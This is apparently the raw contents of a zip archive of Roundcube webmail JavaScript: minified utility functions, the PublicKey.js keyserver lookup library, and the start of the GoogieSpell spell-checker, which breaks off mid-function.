i=i?"([^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+|\\x22([^\\x0d\\x22\\x5c\\x80-\\xff]|\\x5c[\\x00-\\x7f])*\\x22)":"[^\\u0000-\\u0020\\u002e\\u00a0\\u0040\\u007f\\u2028\\u2029]+",o="[,;\\s\\n]",i="(("+(i+"(\\x2e"+i+")*")+"\\x40(((\\[(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])){3}\\])|(\\[IPv6:[0-9a-f:.]+\\]))|(([^@.]+\\.)+([^\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\x7f]{2,}|s|xn--[a-z0-9]{2,}))))|("+("mailtest\\x40("+["\\u0645\\u062b\\u0627\\u0644\\x2e\\u0625\\u062e\\u062a\\u0628\\u0627\\u0631","\\u4f8b\\u5b50\\x2e\\u6d4b\\u8bd5","\\u4f8b\\u5b50\\x2e\\u6e2c\\u8a66","\\u03c0\\u03b1\\u03c1\\u03ac\\u03b4\\u03b5\\u03b9\\u03b3\\u03bc\\u03b1\\x2e\\u03b4\\u03bf\\u03ba\\u03b9\\u03bc\\u03ae","\\u0909\\u0926\\u093e\\u0939\\u0930\\u0923\\x2e\\u092a\\u0930\\u0940\\u0915\\u094d\\u0937\\u093e","\\u4f8b\\u3048\\x2e\\u30c6\\u30b9\\u30c8","\\uc2e4\\ub840\\x2e\\ud14c\\uc2a4\\ud2b8","\\u0645\\u062b\\u0627\\u0644\\x2e\\u0622\\u0632\\u0645\\u0627\\u06cc\\u0634\\u06cc","\\u043f\\u0440\\u0438\\u043c\\u0435\\u0440\\x2e\\u0438\\u0441\\u043f\\u044b\\u0442\\u0430\\u043d\\u0438\\u0435","\\u0b89\\u0ba4\\u0bbe\\u0bb0\\u0ba3\\u0bae\\u0bcd\\x2e\\u0baa\\u0bb0\\u0bbf\\u0b9f\\u0bcd\\u0b9a\\u0bc8","\\u05d1\\u05f2\\u05b7\\u05e9\\u05e4\\u05bc\\u05d9\\u05dc\\x2e\\u05d8\\u05e2\\u05e1\\u05d8"].join("|")+")")+"))",t=t?new RegExp("(^|<|"+o+")"+i+"($|>|"+o+")",n?"ig":"i"):new RegExp("^"+i+"$","i");return n?(o=e.match(t))?o.length:0:t.test(e)}function rcube_clone_object(e){var t,n={};for(t in e)e[t]&&"object"==typeof e[t]?n[t]=rcube_clone_object(e[t]):n[t]=e[t];return n}function urlencode(e){return encodeURIComponent(e).replace("*","%2A").replace("(","%28").replace(")","%29").replace("!","%21").replace("'","%27")}function rcube_find_object(e,t){var n,i,o,r;if(!(t=t||document).getElementById||!(o=t.getElementById(e))){if(!(o=!(o=!(o=!o&&t.getElementsByName&&(r=t.getElementsByName(e))?r[0]:o)&&t.all?t.all[e]:o)&&t.images.length?t.images[e]:o)&&t.forms.length)for(i=0;i<t.forms.length;i++)t.forms[i].name==e?o=t.forms[i]:t.forms[i].elements[e]&&(o=t.forms[i].elements[e]);if(!o&&t.layers)for(t.layers[e]&&(o=t.layers[e]),n=0;!o&&n<t.layers.length;n++)o=rcube_find_object(e,t.layers[n].document)}return o}function rcube_mouse_is_over(e,t){var e=rcube_event.get_mouse_pos(e),n=$(t).offset();return e.x>=n.left&&e.x<n.left+t.offsetWidth&&e.y>=n.top&&e.y<n.top+t.offsetHeight}function setCookie(e,t,n,i,o,r){e=e+"="+escape(t)+(n?"; expires="+n.toGMTString():"")+(i?"; path="+i:"")+(o?"; domain="+o:"")+(r?"; secure":"")+"; SameSite=Lax";document.cookie=e}function getCookie(e){var t=document.cookie,e=e+"=",n=t.indexOf("; "+e);if(-1==n){if(0!=(n=t.indexOf(e)))return null}else n+=2;var i=t.indexOf(";",n);return-1==i&&(i=t.length),unescape(t.substring(n+e.length,i))}rcube_event_engine.prototype={addEventListener:function(e,t,n){return this._events||(this._events={}),this._events[e]||(this._events[e]=[]),this._events[e].push({func:t,obj:n||window}),this},removeEventListener:function(e,t,n){void 0===n&&(n=window);for(var i,o=0;this._events&&this._events[e]&&o<this._events[e].length;o++)(i=this._events[e][o])&&i.func==t&&i.obj==n&&(this._events[e][o]=null)},triggerEvent:function(e,t){function n(e){try{e&&e.event&&delete e.event}catch(e){}}var i,o;if(void 0===t?t=this:"object"==typeof t&&(t.event=e),this._event_exec||(this._event_exec={}),this._events&&this._events[e]&&!this._event_exec[e]){this._event_exec[e]=!0;for(var r=0;r<this._events[e].length&&(!(o=this._events[e][r])||("function"==typeof o.func?i=o.func.call?o.func.call(o.obj,t):o.func(t):"function"==typeof o.obj[o.func]&&(i=o.obj[o.func](t)),void 0===i)||i);r++);n(i)}return delete this._event_exec[e],n(t),i}},roundcube_browser.prototype.set_cookie=setCookie,roundcube_browser.prototype.get_cookie=getCookie;var bw=new roundcube_browser,rcube_parse_query=(bw.set_html_class(),RegExp.escape=function(e){return String(e).replace(/([.*+?^=!:${}()|[\]\/\\])/g,"\\$1")},Date.prototype.getStdTimezoneOffset=function(){for(var e=12,t=new Date(null,e,1),n=t.getTimezoneOffset();--e;)if(t.setUTCMonth(e),n!=t.getTimezoneOffset())return Math.max(n,t.getTimezoneOffset());return n},String.prototype.startsWith||(String.prototype.startsWith=function(e,t){return this.slice(t=t||0,e.length)===e}),String.prototype.endsWith||(String.prototype.endsWith=function(e,t){var n=this.toString(),n=(("number"!=typeof t||!isFinite(t)||Math.floor(t)!==t||t>n.length)&&(t=n.length),t-=e.length,n.lastIndexOf(e,t));return-1!==n&&n===t}),jQuery.last=function(e){return e&&e.length?e[e.length-1]:void 0},jQuery.fn.placeholder=function(e){return this.each(function(){$(this).prop({title:e,placeholder:e})})},function(e){if(!e)return{};function t(e){return decodeURIComponent(e.replace(s," "))}var n,i,o={},r=/([^&=]+)=?([^&]*)/g,s=/\+/g;for(e=e.replace(/\?/,"");i=r.exec(e);)n=t(i[1]),i=t(i[2]),"[]"===n.substring(n.length-2)?(o[n=n.substring(0,n.length-2)]||(o[n]=[])).push(i):o[n]=i;return o}),Base64=function(){function h(e){for(var t,n,i=0,o="",r=0;i<e.length;)(t=e.charCodeAt(i))<128?(o+=String.fromCharCode(t),i++):191<t&&t<224?(r=e.charCodeAt(i+1),o+=String.fromCharCode((31&t)<<6|63&r),i+=2):(r=e.charCodeAt(i+1),n=e.charCodeAt(i+2),o+=String.fromCharCode((15&t)<<12|(63&r)<<6|63&n),i+=3);return o}var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";return{encode:function(e){if(e=function(e){e=e.replace(/\r\n/g,"\n");for(var t="",n=0;n<e.length;n++){var i=e.charCodeAt(n);i<128?t+=String.fromCharCode(i):t=127<i&&i<2048?(t+=String.fromCharCode(i>>6|192))+String.fromCharCode(63&i|128):(t=(t+=String.fromCharCode(i>>12|224))+String.fromCharCode(i>>6&63|128))+String.fromCharCode(63&i|128)}return t}(e),"function"==typeof window.btoa)try{return btoa(e)}catch(e){}for(var t,n,i,o,r,s,u=0,a="",c=e.length;u<c;)i=(t=e.charCodeAt(u++))>>2,o=(3&t)<<4|(t=e.charCodeAt(u++))>>4,r=(15&t)<<2|(n=e.charCodeAt(u++))>>6,s=63&n,isNaN(t)?r=s=64:isNaN(n)&&(s=64),a=a+f.charAt(i)+f.charAt(o)+f.charAt(r)+f.charAt(s);return a},decode:function(e){if("function"==typeof window.atob)try{return h(atob(e))}catch(e){}for(var t,n,i,o,r,s,u=0,a="",c=(e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"")).length;u<c;)i=f.indexOf(e.charAt(u++)),t=(15&(o=f.indexOf(e.charAt(u++))))<<4|(r=f.indexOf(e.charAt(u++)))>>2,n=(3&r)<<6|(s=f.indexOf(e.charAt(u++))),a+=String.fromCharCode(i<<2|o>>4),64!=r&&(a+=String.fromCharCode(t)),64!=s&&(a+=String.fromCharCode(n));return h(a)}}}();
PK
h�\u0��))program/js/publickey.min.jsnu�[���/**
 * PublicKey.js - v0e011cb1
 *
 * @source https://github.com/diafygi/publickeyjs/blob/master/publickey.js
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) 2015 Daniel Roesler
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
"use strict";!function(e){function t(e){this.keyservers=e||i}var i=["https://keys.fedoraproject.org/","https://keybase.io/"];t.prototype.get=function(t,i,n,e){if((n=void 0===n?0:n)>=this.keyservers.length)return i(null,e||404);var s,e=this.keyservers[n],r=this;0===e.indexOf("https://keybase.io/")?(0===t.indexOf("0x")&&(t=t.substr(2)),(s=new XMLHttpRequest).open("get","https://keybase.io/_/api/1.0/user/lookup.json?fields=public_keys&key_fingerprint="+t),s.onload=function(){var e;return 200===s.status?0!==(e=JSON.parse(s.responseText)).status.code?r.get(t,i,n+1,e.status.code):0===e.them.length?r.get(t,i,n+1,404):(e=e.them[0].public_keys.primary.bundle,i(e,null)):r.get(t,i,n+1,s.status)}):(0!==t.indexOf("0x")&&(t="0x"+t),(s=new XMLHttpRequest).open("get",e+"pks/lookup?op=get&options=mr&search="+t),s.onload=function(){return 200===s.status?i(s.responseText,null):r.get(t,i,n+1,s.status)}),s.send()},t.prototype.search=function(o,d,a,u,e){if(void 0===u&&(u=[]),(a=void 0===a?0:a)>=this.keyservers.length){if(0===u.length)return d(null,e||404);for(var t={},i=0;i<u.length;i++)if(void 0!==t[(l=u[i]).keyid])for(var n=0;n<l.uids.length;n++){for(var s=!1,r=0;r<t[l.keyid].uids.length;r++)if(t[l.keyid].uids[r].uid===l.uids[n]){s=!0;break}s||t[l.keyid].uids.push(l.uids[n])}else t[l.keyid]=l;for(var l,p=[],i=0;i<u.length;i++)void 0!==t[(l=u[i]).keyid]&&(p.push(t[l.keyid]),delete t[l.keyid]);return d(p,null)}var h,c=this.keyservers[a],v=this;0===c.indexOf("https://keybase.io/")?((h=new XMLHttpRequest).open("get","https://keybase.io/_/api/1.0/user/autocomplete.json?q="+encodeURIComponent(o)),h.onload=function(){if(200!==h.status)return v.search(o,d,a+1,u,h.status);var e=JSON.parse(h.responseText);if(0!==e.status.code)return v.search(o,d,a+1,u,e.status.code);if(0===e.completions.length)return v.search(o,d,a+1,u,404);for(var t=[],i=0;i<e.completions.length;i++){var n=e.completions[i].components;if(void 0!==n.key_fingerprint){var s={keyid:n.key_fingerprint.val.toUpperCase(),href:"https://keybase.io/"+n.username.val+"/key.asc",info:"https://keybase.io/"+n.username.val,algo:n.key_fingerprint.algo,keylen:n.key_fingerprint.nbits,creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1,uids:[{uid:n.username.val+" on Keybase <https://keybase.io/"+n.username.val+">",creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1}]};if(void 0!==n.full_name&&s.uids.push({uid:"Full Name: "+n.full_name.val,creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1}),void 0!==n.twitter&&s.uids.push({uid:n.twitter.val+" on Twitter <https://twitter.com/"+n.twitter.val+">",creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1}),void 0!==n.github&&s.uids.push({uid:n.github.val+" on Github <https://github.com/"+n.github.val+">",creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1}),void 0!==n.reddit&&s.uids.push({uid:n.reddit.val+" on Github <https://reddit.com/u/"+n.reddit.val+">",creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1}),void 0!==n.hackernews&&s.uids.push({uid:n.hackernews.val+" on Hacker News <https://news.ycombinator.com/user?id="+n.hackernews.val+">",creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1}),void 0!==n.coinbase&&s.uids.push({uid:n.coinbase.val+" on Coinbase <https://www.coinbase.com/"+n.coinbase.val+">",creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1}),void 0!==n.websites)for(var r=0;r<n.websites.length;r++)s.uids.push({uid:"Owns "+n.websites[r].val,creationdate:null,expirationdate:null,revoked:!1,disabled:!1,expired:!1});t.push(s)}}return u=u.concat(t),v.search(o,d,a+1,u,null)}):((h=new XMLHttpRequest).open("get",c+"pks/lookup?op=index&options=mr&fingerprint=on&search="+encodeURIComponent(o)),h.onload=function(){if(200!==h.status)return v.search(o,d,a+1,u,h.status);for(var e=[],t=h.responseText.split("\n"),i=void 0,n=0;n<t.length;n++){var s,r=t[n].trim();0==r.indexOf("pub:")&&(void 0!==i&&e.push(i),i={keyid:(s=r.split(":"))[1],href:c+"pks/lookup?op=get&options=mr&search=0x"+s[1],info:c+"pks/lookup?op=vindex&search=0x"+s[1],algo:""===s[2]?null:parseInt(s[2]),keylen:""===s[3]?null:parseInt(s[3]),creationdate:""===s[4]?null:parseInt(s[4]),expirationdate:""===s[5]?null:parseInt(s[5]),revoked:-1!==s[6].indexOf("r"),disabled:-1!==s[6].indexOf("d"),expired:-1!==s[6].indexOf("e"),uids:[]}),0==r.indexOf("uid:")&&(s=r.split(":"),i.uids.push({uid:decodeURIComponent(s[1]),creationdate:""===s[2]?null:parseInt(s[2]),expirationdate:""===s[3]?null:parseInt(s[3]),revoked:-1!==s[4].indexOf("r"),disabled:-1!==s[4].indexOf("d"),expired:-1!==s[4].indexOf("e")}))}return e.push(i),u=u.concat(e),v.search(o,d,a+1,u,null)}),h.send()},e.PublicKey=t}("undefined"==typeof exports?this:exports);
PK
h�\aDP� p pprogram/js/googiespell.jsnu�[���/**
 * Roundcube SpellCheck script
 *
 * jQuery'fied spell checker based on GoogieSpell 4.0
 * (which was published under GPL "version 2 or any later version")
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (C) 2006 Amir Salihefendic
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author 4mir Salihefendic <amix@amix.dk>
 * @author Aleksander Machniak - <alec [at] alec.pl>
 */

var GOOGIE_CUR_LANG,
    GOOGIE_DEFAULT_LANG = 'en';

function GoogieSpell(img_dir, server_url, has_dict)
{
    var ref = this,
        cookie_value = rcmail.get_cookie('language');

    GOOGIE_CUR_LANG = cookie_value != null ? cookie_value : GOOGIE_DEFAULT_LANG;

    this.array_keys = function(arr) {
        var res = [];
        for (var key in arr) { res.push([key]); }
        return res;
    }

    this.img_dir = img_dir;
    this.server_url = server_url;

    this.org_lang_to_word = {
        "da": "Dansk", "de": "Deutsch", "en": "English",
        "es": "Español", "fr": "Français", "it": "Italiano",
        "nl": "Nederlands", "pl": "Polski", "pt": "Português",
        "ru": "Русский", "fi": "Suomi", "sv": "Svenska"
    };
    this.lang_to_word = this.org_lang_to_word;
    this.langlist_codes = this.array_keys(this.lang_to_word);
    this.show_change_lang_pic = false; // roundcube mod.
    this.change_lang_pic_placement = 'right';
    this.report_state_change = true;

    this.ta_scroll_top = 0;
    this.el_scroll_top = 0;

    this.lang_chck_spell = "Check spelling";
    this.lang_revert = "Revert to";
    this.lang_close = "Close";
    this.lang_rsm_edt = "Resume editing";
    this.lang_no_error_found = "No spelling errors found";
    this.lang_no_suggestions = "No suggestions";
    this.lang_learn_word = "Add to dictionary";

    this.use_ok_pic = false; // added by roundcube
    this.show_spell_img = false; // roundcube mod.
    this.decoration = true;
    this.use_close_btn = false;
    this.edit_layer_dbl_click = true;
    this.report_ta_not_found = true;

    // Extensions
    this.custom_ajax_error = null;
    this.custom_no_spelling_error = null;
    this.extra_menu_items = [];
    this.custom_spellcheck_starter = null;
    this.main_controller = true;
    this.has_dictionary = has_dict;

    // Observers
    this.lang_state_observer = null;
    this.spelling_state_observer = null;
    this.show_menu_observer = null;
    this.all_errors_fixed_observer = null;

    // Focus links - used to give the text box focus
    this.use_focus = false;
    this.focus_link_t = null;
    this.focus_link_b = null;

    // Counters
    this.cnt_errors = 0;
    this.cnt_errors_fixed = 0;

    // Set document's onclick to hide the language and error menu
    $(document).click(function(e) {
        var target = $(e.target);
        if (target.attr('googie_action_btn') != '1' && ref.isErrorWindowShown())
            ref.hideErrorWindow();
    });


this.decorateTextarea = function(id)
{
    this.text_area = typeof id === 'string' ? document.getElementById(id) : id;

    if (this.text_area) {
        if (!this.spell_container && this.decoration) {
            var table = document.createElement('table'),
                tbody = document.createElement('tbody'),
                tr = document.createElement('tr'),
                spell_container = document.createElement('td'),
                r_width = this.isDefined(this.force_width) ? this.force_width : this.text_area.offsetWidth,
                r_height = this.isDefined(this.force_height) ? this.force_height : 16;

            tr.appendChild(spell_container);
            tbody.appendChild(tr);
            $(table).append(tbody).insertBefore(this.text_area).width('100%').height(r_height);
            $(spell_container).height(r_height).width(r_width).css('text-align', 'right');

            this.spell_container = spell_container;
        }

        this.checkSpellingState();
    }
    else if (this.report_ta_not_found) {
        rcmail.alert_dialog('Text area not found');
    }
};

//////
// API Functions (the ones that you can call)
/////
this.setSpellContainer = function(id)
{
    this.spell_container = typeof id === 'string' ? document.getElementById(id) : id;
};

this.setLanguages = function(lang_dict)
{
    this.lang_to_word = lang_dict;
    this.langlist_codes = this.array_keys(lang_dict);
};

this.setCurrentLanguage = function(lan_code)
{
    GOOGIE_CUR_LANG = lan_code;

    //Set cookie
    rcmail.set_cookie('language', lan_code, false);
};

this.setForceWidthHeight = function(width, height)
{
    // Set to null if you want to use one of them
    this.force_width = width;
    this.force_height = height;
};

this.setDecoration = function(bool)
{
    this.decoration = bool;
};

this.dontUseCloseButtons = function()
{
    this.use_close_btn = false;
};

this.appendNewMenuItem = function(name, call_back_fn, checker)
{
    this.extra_menu_items.push([name, call_back_fn, checker]);
};

this.setFocus = function()
{
    try {
        this.focus_link_b.focus();
        this.focus_link_t.focus();
        return true;
    }
    catch(e) {
        return false;
    }
};


//////
// Set functions (internal)
/////
this.setStateChanged = function(current_state)
{
    this.state = current_state;
    if (this.spelling_state_observer != null && this.report_state_change)
        this.spelling_state_observer(current_state, this);
};

this.setReportStateChange = function(bool)
{
    this.report_state_change = bool;
};


//////
// Request functions
/////
this.getUrl = function()
{
    return this.server_url + GOOGIE_CUR_LANG;
};

this.escapeSpecial = function(val)
{
    return val ? val.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;") : '';
};

this.createXMLReq = function (text)
{
    return '<?xml version="1.0" encoding="utf-8" ?>'
        + '<spellrequest textalreadyclipped="0" ignoredups="0" ignoredigits="1" ignoreallcaps="1">'
        + '<text>' + text + '</text></spellrequest>';
};

this.spellCheck = function(ignore)
{
    this.prepare(ignore);

    var req_text = this.escapeSpecial(this.original_text),
        ref = this;

    $.ajax({ type: 'POST', url: this.getUrl(), data: this.createXMLReq(req_text), dataType: 'text',
        error: function(o) {
            if (ref.custom_ajax_error) {
                ref.custom_ajax_error(ref);
            }
            else {
                rcmail.alert_dialog('An error was encountered on the server. Please try again later.');
            }
            if (ref.main_controller) {
                $(ref.spell_span).remove();
                ref.removeIndicator();
            }
            ref.checkSpellingState();
        },
        success: function(data) {
            ref.processData(data);
            if (!ref.results.length) {
                if (!ref.custom_no_spelling_error)
                    ref.flashNoSpellingErrorState();
                else
                    ref.custom_no_spelling_error(ref);
            }
            ref.removeIndicator();
        }
    });
};

this.learnWord = function(word, id)
{
    word = this.escapeSpecial(word.innerHTML);

    var ref = this,
        req_text = '<?xml version="1.0" encoding="utf-8" ?><learnword><text>' + word + '</text></learnword>';

    $.ajax({ type: 'POST', url: this.getUrl(), data: req_text, dataType: 'text',
        error: function(o) {
            if (ref.custom_ajax_error) {
                ref.custom_ajax_error(ref);
            }
            else {
                rcmail.alert_dialog('An error was encountered on the server. Please try again later.');
            }
        },
        success: function(data) {
        }
    });
};


//////
// Spell checking functions
/////
this.prepare = function(ignore, no_indicator)
{
    this.cnt_errors_fixed = 0;
    this.cnt_errors = 0;
    this.setStateChanged('checking_spell');
    this.original_text = '';

    if (!no_indicator && this.main_controller)
        this.appendIndicator(this.spell_span);

    this.error_links = [];
    this.ta_scroll_top = this.text_area.scrollTop;
    this.ignore = ignore;

    var area = $(this.text_area);

    if (area.val() == '' || ignore) {
        if (!this.custom_no_spelling_error)
            this.flashNoSpellingErrorState();
        else
            this.custom_no_spelling_error(this);
        this.removeIndicator();
        return;
    }

    var height = $(area).css('box-sizing') == 'border-box' ? this.text_area.offsetHeight : $(area).height();

    this.createEditLayer(area.width(), height);
    this.createErrorWindow();

    $('body').append(this.error_window);

    if (this.main_controller)
        $(this.spell_span).off('click');

    this.original_text = area.val();
};

this.parseResult = function(r_text)
{
    // Returns an array: result[item] -> ['attrs'], ['suggestions']
    var re_split_attr_c = /\w+="(\d+|true)"/g,
        re_split_text = /\t/g,
        matched_c = r_text.match(/<c[^>]*>[^<]*<\/c>/g),
        results = [];

    if (matched_c == null)
        return results;

    for (var i=0, len=matched_c.length; i < len; i++) {
        var item = [];
        this.errorFound();

        // Get attributes
        item['attrs'] = [];
        var c_attr, val,
            split_c = matched_c[i].match(re_split_attr_c);
        for (var j=0; j < split_c.length; j++) {
            c_attr = split_c[j].split(/=/);
            val = c_attr[1].replace(/"/g, '');
            item['attrs'][c_attr[0]] = val != 'true' ? parseInt(val) : val;
        }

        // Get suggestions
        item['suggestions'] = [];
        var only_text = matched_c[i].replace(/<[^>]*>/g, ''),
            split_t = only_text.split(re_split_text);
        for (var k=0; k < split_t.length; k++) {
            if(split_t[k] != '')
            item['suggestions'].push(split_t[k]);
        }
        results.push(item);
    }

    return results;
};

this.processData = function(data)
{
    this.results = this.parseResult(data);
    if (this.results.length) {
        this.showErrorsInIframe();
        this.resumeEditingState();
    }
};

//////
// Error menu functions
/////
this.createErrorWindow = function()
{
    this.error_window = document.createElement('div');
    $(this.error_window).addClass('googie_window popupmenu').attr('googie_action_btn', '1');
};

this.isErrorWindowShown = function()
{
    return $(this.error_window).is(':visible');
};

this.hideErrorWindow = function()
{
    $(this.error_window).hide();
    $(this.error_window_iframe).hide();
};

this.updateOriginalText = function(offset, old_value, new_value, id)
{
    var part_1 = this.original_text.substring(0, offset),
        part_2 = this.original_text.substring(offset+old_value.length),
        add_2_offset = new_value.length - old_value.length;

    this.original_text = part_1 + new_value + part_2;
    $(this.text_area).val(this.original_text);
    for (var j=0, len=this.results.length; j<len; j++) {
        // Don't edit the offset of the current item
        if (j != id && j > id)
            this.results[j]['attrs']['o'] += add_2_offset;
    }
};

this.saveOldValue = function(elm, old_value) {
    elm.is_changed = true;
    elm.old_value = old_value;
};

this.createListSeparator = function()
{
    return $('<li>').html('&nbsp;').attr('googie_action_btn', '1')
        .css({'cursor': 'default', 'font-size': '3px', 'border-top': '1px solid #ccc', 'padding-top': '3px'})
        .get(0);
};

this.correctError = function(id, elm, l_elm, rm_pre_space)
{
    var old_value = elm.innerHTML,
        new_value = l_elm.nodeType == 3 ? l_elm.nodeValue : l_elm.innerHTML,
        offset = this.results[id]['attrs']['o'];

    if (rm_pre_space) {
        var pre_length = elm.previousSibling.innerHTML;
        elm.previousSibling.innerHTML = pre_length.slice(0, pre_length.length-1);
        old_value = " " + old_value;
        offset--;
    }

    this.hideErrorWindow();
    this.updateOriginalText(offset, old_value, new_value, id);

    $(elm).html(new_value).css('color', 'green').attr('is_corrected', true);

    this.results[id]['attrs']['l'] = new_value.length;

    if (!this.isDefined(elm.old_value))
        this.saveOldValue(elm, old_value);

    this.errorFixed();
};

this.ignoreError = function(elm, id)
{
    // @TODO: ignore all same words
    $(elm).removeAttr('class').css('color', '').off();
    this.hideErrorWindow();
};

this.showErrorWindow = function(elm, id)
{
    if (this.show_menu_observer)
        this.show_menu_observer(this);

    var ref = this,
        pos = $(elm).offset(),
        list = document.createElement('ul');

    $(this.error_window).html('');
    $(list).addClass('googie_list toolbarmenu').attr('googie_action_btn', '1');

    // Build up the result list
    var suggestions = this.results[id]['suggestions'],
        offset = this.results[id]['attrs']['o'],
        len = this.results[id]['attrs']['l'],
        item, dummy;

    // [Add to dictionary] button
    if (this.has_dictionary && !$(elm).attr('is_corrected')) {
        dummy = $('<a>').text(this.lang_learn_word).addClass('googie_add_to_dict active');

        $('<li>').attr('googie_action_btn', '1').css('cursor', 'default')
            .mouseover(ref.item_onmouseover)
            .mouseout(ref.item_onmouseout)
            .click(function(e) {
                ref.learnWord(elm, id);
                ref.ignoreError(elm, id);
            })
            .append(dummy)
            .appendTo(list);
    }

    for (var i=0, len=suggestions.length; i < len; i++) {
        dummy = $('<a>').html(suggestions[i]).addClass('active');

        $('<li>').mouseover(this.item_onmouseover).mouseout(this.item_onmouseout)
            .click(function(e) { ref.correctError(id, elm, e.target.firstChild); })
            .append(dummy)
            .appendTo(list);
    }

    // The element is changed, append the revert
    if (elm.is_changed && elm.innerHTML != elm.old_value) {
        var old_value = elm.old_value;

        dummy = $('<a>').addClass('googie_list_revert active').html(this.lang_revert + ' ' + old_value);

        $('<li>').mouseover(this.item_onmouseover).mouseout(this.item_onmouseout)
            .click(function(e) {
                ref.updateOriginalText(offset, elm.innerHTML, old_value, id);
                $(elm).removeAttr('is_corrected').css('color', '#b91414').html(old_value);
                ref.hideErrorWindow();
            })
            .append(dummy)
            .appendTo(list);
    }

    // Append the edit box
    var edit_row = document.createElement('li'),
        edit_input = document.createElement('input'),
        ok_pic = document.createElement('button'),
        edit_form = document.createElement('form');

    var onsub = function () {
        if (edit_input.value != '') {
            if (!ref.isDefined(elm.old_value))
                ref.saveOldValue(elm, elm.innerHTML);

            ref.updateOriginalText(offset, elm.innerHTML, edit_input.value, id);
            $(elm).attr('is_corrected', true).css('color', 'green').text(edit_input.value);
            ref.hideErrorWindow();
        }
        return false;
    };

    $(edit_input).width(120).val($(elm).text()).attr('googie_action_btn', '1');
    $(edit_row).css('cursor', 'default').attr('googie_action_btn', '1')
        .on('click', function() { return false; });

    // roundcube modified image use
    if (this.use_ok_pic) {
        $('<img>').attr('src', this.img_dir + 'ok.gif')
            .width(32).height(16)
            .css({cursor: 'pointer', 'margin-left': '2px', 'margin-right': '2px'})
            .appendTo(ok_pic);
    }
    else {
        $(ok_pic).text('OK');
    }

    $(ok_pic).addClass('mainaction save googie_ok_button btn-sm').click(onsub);

    $(edit_form).attr('googie_action_btn', '1')
        .css({'cursor': 'default', 'white-space': 'nowrap'})
        .submit(onsub)
        .append(edit_input)
        .append(ok_pic)
        .appendTo(edit_row);

    list.appendChild(edit_row);

    // Append extra menu items
    if (this.extra_menu_items.length > 0)
        list.appendChild(this.createListSeparator());

    var loop = function(i) {
        if (i < ref.extra_menu_items.length) {
            var e_elm = ref.extra_menu_items[i];

            if (!e_elm[2] || e_elm[2](elm, ref)) {
                var e_row = document.createElement('tr'),
                  e_col = document.createElement('td');

                $(e_col).html(e_elm[0])
                    .mouseover(ref.item_onmouseover)
                    .mouseout(ref.item_onmouseout)
                    .click(function() { return e_elm[1](elm, ref) });

                e_row.appendChild(e_col);
                list.appendChild(e_row);
            }
            loop(i+1);
        }
    };

    loop(0);
    loop = null;

    //Close button
    if (this.use_close_btn) {
        list.appendChild(this.createCloseButton(this.hideErrorWindow));
    }

    this.error_window.appendChild(list);

    // roundcube plugin api hook
    rcmail.triggerEvent('googiespell_create', {obj: this.error_window});

    // calculate and set position
    var height = $(this.error_window).height(),
        width = $(this.error_window).width(),
        pageheight = $(document).height(),
        pagewidth = $(document).width(),
        top = pos.top + height + 20 < pageheight ? pos.top + 20 : pos.top - height,
        left = pos.left + width < pagewidth ? pos.left : pos.left - width;

    if (left < 0) left = 0;
    if (top < 0) top = 0;

    $(this.error_window).css({'top': top+'px', 'left': left+'px', position: 'absolute'}).show();

    // Dummy for IE - dropdown bug fix
    if (document.all && !window.opera) {
        if (!this.error_window_iframe) {
            var iframe = $('<iframe>').css({'position': 'absolute', 'z-index': -1});
            $('body').append(iframe);
            this.error_window_iframe = iframe;
        }

        $(this.error_window_iframe)
            .css({'top': this.error_window.offsetTop, 'left': this.error_window.offsetLeft,
                'width': this.error_window.offsetWidth, 'height': this.error_window.offsetHeight})
            .show();
    }
};


//////
// Edit layer (the layer where the suggestions are stored)
//////
this.createEditLayer = function(width, height)
{
    this.edit_layer = document.createElement('div');
    $(this.edit_layer).addClass('googie_edit_layer').attr('id', 'googie_edit_layer')
        .width(width).height(height);

    if (this.text_area.nodeName.toLowerCase() != 'input' || $(this.text_area).val() == '') {
        $(this.edit_layer).css('overflow', 'auto');
    } else {
        $(this.edit_layer).css('overflow', 'hidden');
    }

    var ref = this;

    if (this.edit_layer_dbl_click) {
